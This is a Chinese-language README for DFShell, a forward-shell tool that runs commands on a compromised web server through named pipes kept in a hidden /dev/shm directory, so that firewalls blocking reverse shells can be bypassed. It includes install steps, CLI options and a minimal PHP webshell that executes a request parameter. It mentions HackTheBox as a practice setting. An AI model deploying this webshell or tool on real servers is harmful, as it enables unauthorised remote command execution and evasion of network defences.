██████╗ ███████╗███████╗██╗ ██╗███████╗██╗ ██╗
██╔══██╗██╔════╝██╔════╝██║ ██║██╔════╝██║ ██║
██║ ██║█████╗ ███████╗███████║█████╗ ██║ ██║
██║ ██║██╔══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║
██████╔╝██║ ███████║██║ ██║███████╗███████╗███████╗
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
D3Ext 的前向Shell 是一个python3脚本,它利用mkfifo在受害者机器上模拟一个shell。它在/dev/shm/.fs/中创建一个隐藏目录用于存储fifo。你甚至可以在webshell上模拟一个TTY。
此前向Shell创建一个通过命名管道 (mkfifo) 接收命令并将结果输出到文件的shell。这样,shell不需要持久网络连接,因此你可以在阻止反向/绑定shell的防火墙后面建立合适的TTY。
从源码安装
git clone https://github.com/D3Ext/DFShell
cd DFShell
pip3 install -r requirements.txt
使用pip安装
pip3 install dfshell
DFShell 具有多种CLI参数,可改进前向Shell的配置。
帮助面板
usage: dfshell.py [-h] -u URL -p PARAMETER [-t TIMEOUT] [--path PATH] [-v VERBOSE]
D3Ext's Forward Shell - Enhanced forward shell with integrated commands
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL url of the webshell (i.e. http://10.10.10.10/webshell.php)
-p PARAMETER, --parameter PARAMETER
parameter of the webshell to execute commands (i.e. cmd)
-t TIMEOUT, --timeout TIMEOUT
timeout of requests that execute commands (default 20s)
--path PATH path in which to create named pipes (default /dev/shm/.fs)
-v VERBOSE, --verbose VERBOSE
print more information
它向给定的URL发送GET请求,因此webshell应该类似于:
<?php
if(isset($_REQUEST['cmd']))
{
system($_REQUEST['cmd']);
}
?>
在Parrot OS上配合Apache服务器测试通过
如果你想在受控环境中测试此工具,这里列出了一些HackTheBox机器的列表,这些机器在Web服务器上应用了防火墙规则,因此前向Shell是直接进行权限提升的绝佳替代方案。
感谢@ippsec提供这一出色的技巧
https://github.com/IppSec/forward-shell
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux#forward-shell
https://www.f5.com/labs/learning-center/forward-and-reverse-shells
https://github.com/Hypnoze57/FShell
https://s4vitar.github.io/ttyoverhttp/
请参见 CONTRIBUTING.md
请参见 CHANGELOG.md
本项目采用MIT许可证
版权所有 © 2023, D3Ext